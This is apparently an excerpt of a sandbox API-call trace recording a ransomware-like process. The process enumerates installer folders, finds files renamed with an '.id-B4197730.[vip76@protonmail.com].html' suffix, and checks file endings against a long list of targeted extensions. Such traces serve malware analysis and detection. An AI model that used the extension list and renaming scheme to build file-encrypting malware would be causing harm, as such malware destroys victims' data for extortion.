	[0165.413] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x808148f1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x808148f1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x808481ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.413] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x808481ad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x808481ad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80894981, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.413] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x809ebe8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x809ebe8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x809ebe8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.413] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x809ebe8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x809ebe8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x809ebe8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.413] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0165.414] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.414] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80b4341d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0165.414] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.414] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80b4341d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.415] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x80b4341d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.415] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80b1d13d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80b1d13d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b1d13d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.416] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80b1d13d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80b1d13d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80b4341d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.416] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e64645, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.416] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e64645, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.416] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.417] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.417] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1
	[0165.417] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.417] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.418] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.418] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80bdbbbc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80bdbbbc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c01fdb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.418] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80c281a8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c281a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c281a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.419] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0165.419] lstrlenW (lpString=".1cd") returned 4
	[0165.419] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.420] lstrlenW (lpString=".3ds") returned 4
	[0165.420] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.420] lstrlenW (lpString=".3fr") returned 4
	[0165.420] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.420] lstrlenW (lpString=".3g2") returned 4
	[0165.420] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.420] lstrlenW (lpString=".3gp") returned 4
	[0165.420] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.420] lstrlenW (lpString=".7z") returned 3
	[0165.420] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.420] lstrlenW (lpString=".accda") returned 6
	[0165.420] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.420] lstrlenW (lpString=".accdb") returned 6
	[0165.420] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.420] lstrlenW (lpString=".accdc") returned 6
	[0165.420] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.420] lstrlenW (lpString=".accde") returned 6
	[0165.420] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.420] lstrlenW (lpString=".accdt") returned 6
	[0165.420] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.421] lstrlenW (lpString=".accdw") returned 6
	[0165.421] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.421] lstrlenW (lpString=".adb") returned 4
	[0165.421] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".adp") returned 4
	[0165.421] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ai") returned 3
	[0165.421] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.421] lstrlenW (lpString=".ai3") returned 4
	[0165.421] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ai4") returned 4
	[0165.421] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ai5") returned 4
	[0165.421] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ai6") returned 4
	[0165.421] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ai7") returned 4
	[0165.421] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ai8") returned 4
	[0165.421] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".anim") returned 5
	[0165.421] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.421] lstrlenW (lpString=".arw") returned 4
	[0165.421] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".as") returned 3
	[0165.421] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.421] lstrlenW (lpString=".asa") returned 4
	[0165.421] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".asc") returned 4
	[0165.421] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.421] lstrlenW (lpString=".ascx") returned 5
	[0165.421] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.421] lstrlenW (lpString=".asm") returned 4
	[0165.422] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".asmx") returned 5
	[0165.422] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.422] lstrlenW (lpString=".asp") returned 4
	[0165.422] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".aspx") returned 5
	[0165.422] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.422] lstrlenW (lpString=".asr") returned 4
	[0165.422] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".asx") returned 4
	[0165.422] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".avi") returned 4
	[0165.422] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".avs") returned 4
	[0165.422] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".backup") returned 7
	[0165.422] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.422] lstrlenW (lpString=".bak") returned 4
	[0165.422] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".bay") returned 4
	[0165.422] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".bd") returned 3
	[0165.422] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.422] lstrlenW (lpString=".bin") returned 4
	[0165.422] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".bmp") returned 4
	[0165.422] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".bz2") returned 4
	[0165.422] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".c") returned 2
	[0165.422] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.422] lstrlenW (lpString=".cdr") returned 4
	[0165.422] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.422] lstrlenW (lpString=".cer") returned 4
	[0165.423] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".cf") returned 3
	[0165.423] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.423] lstrlenW (lpString=".cfc") returned 4
	[0165.423] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".cfm") returned 4
	[0165.423] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".cfml") returned 5
	[0165.423] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.423] lstrlenW (lpString=".cfu") returned 4
	[0165.423] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".chm") returned 4
	[0165.423] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".cin") returned 4
	[0165.423] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".class") returned 6
	[0165.423] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.423] lstrlenW (lpString=".clx") returned 4
	[0165.423] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".config") returned 7
	[0165.423] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.423] lstrlenW (lpString=".cpp") returned 4
	[0165.423] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".cr2") returned 4
	[0165.423] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".crt") returned 4
	[0165.423] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".crw") returned 4
	[0165.423] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.423] lstrlenW (lpString=".cs") returned 3
	[0165.423] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.423] lstrlenW (lpString=".css") returned 4
	[0165.424] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".csv") returned 4
	[0165.424] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".cub") returned 4
	[0165.424] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dae") returned 4
	[0165.424] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dat") returned 4
	[0165.424] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".db") returned 3
	[0165.424] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.424] lstrlenW (lpString=".dbf") returned 4
	[0165.424] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dbx") returned 4
	[0165.424] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dc3") returned 4
	[0165.424] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dcm") returned 4
	[0165.424] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dcr") returned 4
	[0165.424] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".der") returned 4
	[0165.424] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dib") returned 4
	[0165.424] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dic") returned 4
	[0165.424] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".dif") returned 4
	[0165.424] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.424] lstrlenW (lpString=".divx") returned 5
	[0165.424] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.424] lstrlenW (lpString=".djvu") returned 5
	[0165.424] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.425] lstrlenW (lpString=".dng") returned 4
	[0165.425] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".doc") returned 4
	[0165.425] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".docm") returned 5
	[0165.425] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.425] lstrlenW (lpString=".docx") returned 5
	[0165.425] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.425] lstrlenW (lpString=".dot") returned 4
	[0165.425] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dotm") returned 5
	[0165.425] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.425] lstrlenW (lpString=".dotx") returned 5
	[0165.425] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.425] lstrlenW (lpString=".dpx") returned 4
	[0165.425] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dqy") returned 4
	[0165.425] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dsn") returned 4
	[0165.425] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dt") returned 3
	[0165.425] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.425] lstrlenW (lpString=".dtd") returned 4
	[0165.425] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dwg") returned 4
	[0165.425] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dwt") returned 4
	[0165.425] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.425] lstrlenW (lpString=".dx") returned 3
	[0165.425] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.426] lstrlenW (lpString=".dxf") returned 4
	[0165.426] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".edml") returned 5
	[0165.426] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.426] lstrlenW (lpString=".efd") returned 4
	[0165.426] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".elf") returned 4
	[0165.426] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".emf") returned 4
	[0165.426] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".emz") returned 4
	[0165.426] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".epf") returned 4
	[0165.426] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".eps") returned 4
	[0165.426] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".epsf") returned 5
	[0165.426] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.426] lstrlenW (lpString=".epsp") returned 5
	[0165.426] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.426] lstrlenW (lpString=".erf") returned 4
	[0165.426] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".exr") returned 4
	[0165.426] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".f4v") returned 4
	[0165.426] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".fido") returned 5
	[0165.426] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.426] lstrlenW (lpString=".flm") returned 4
	[0165.426] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".flv") returned 4
	[0165.426] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.426] lstrlenW (lpString=".frm") returned 4
	[0165.427] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".fxg") returned 4
	[0165.427] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".geo") returned 4
	[0165.427] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".gif") returned 4
	[0165.427] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".grs") returned 4
	[0165.427] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".gz") returned 3
	[0165.427] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.427] lstrlenW (lpString=".h") returned 2
	[0165.427] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.427] lstrlenW (lpString=".hdr") returned 4
	[0165.427] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".hpp") returned 4
	[0165.427] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".hta") returned 4
	[0165.427] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".htc") returned 4
	[0165.427] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".htm") returned 4
	[0165.427] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.427] lstrlenW (lpString=".html") returned 5
	[0165.427] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.427] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0165.427] lstrlenW (lpString=".html") returned 5
	[0165.427] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.427] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e64645, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80e64645, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80e8a705, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.428] lstrlenW (lpString="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html") returned 58
	[0165.428] lstrlenW (lpString=".1cd") returned 4
	[0165.428] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.428] lstrlenW (lpString=".3ds") returned 4
	[0165.428] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.428] lstrlenW (lpString=".3fr") returned 4
	[0165.428] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.428] lstrlenW (lpString=".3g2") returned 4
	[0165.428] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.428] lstrlenW (lpString=".3gp") returned 4
	[0165.428] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.428] lstrlenW (lpString=".7z") returned 3
	[0165.428] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.428] lstrlenW (lpString=".accda") returned 6
	[0165.428] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.428] lstrlenW (lpString=".accdb") returned 6
	[0165.428] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.428] lstrlenW (lpString=".accdc") returned 6
	[0165.428] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.428] lstrlenW (lpString=".accde") returned 6
	[0165.428] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.428] lstrlenW (lpString=".accdt") returned 6
	[0165.428] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.428] lstrlenW (lpString=".accdw") returned 6
